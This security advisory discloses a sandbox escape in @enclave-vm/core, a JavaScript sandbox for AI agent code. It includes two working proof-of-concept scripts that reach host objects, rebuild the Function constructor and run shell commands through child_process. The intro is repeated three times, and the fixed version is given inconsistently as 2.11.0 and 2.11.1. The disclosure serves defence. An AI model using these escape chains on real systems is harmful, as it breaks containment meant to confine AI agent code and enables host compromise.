@enclave-vm/core is vulnerable to Sandbox Escape

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.

## Summary It is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version **2.11.1**. --- ## Details It is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox. When a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor. When this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`). --- ## Proof of Concept ### PoC 1 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "SECURE", toolHandler: () => {}, }); const result = enclave.run(` const op = {}[["__proto__"]]; const ho = op[["constructor"]]; const glob = ho.getOwnPropertyDescriptors(this); return { res: glob.__host_memory_track__.value[["constructor"]]("return process")() .getBuiltinModule("child_process") .execSync("id") .toString() .split("\\n"), };`); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- ### PoC 2 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "STRICT", toolHandler: () => {}, memoryLimit: 0, }); const result = enclave.run(` const op = {}[['__proto__']]; const ho = op[['constructor']]; const glob = ho.getOwnPropertyDescriptors(this); const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom'); let result; const obj = { [sym]: (depth, option, inspect) => { result = inspect[['constructor']] [['constructor']]('return process')() .getBuiltinModule('child_process') .execSync('id') .toString(); }, }; glob.__safe_console.value.log(obj); return { result } `); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- ## Impact This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system. This constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**. --- ## Remediation The issue has been fixed in **v2.11.0** with the following hardening measures: * Strengthened intrinsic object isolation * Improved console isolation * Hardened host callback exposure paths * Closed AST validation gaps * Added additional defensive checks around constructor access and prototype traversal All known escape paths demonstrated in the PoCs are now blocked. Users are strongly advised to upgrade to **v2.11.1** or later immediately. --- ## Credit Enclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.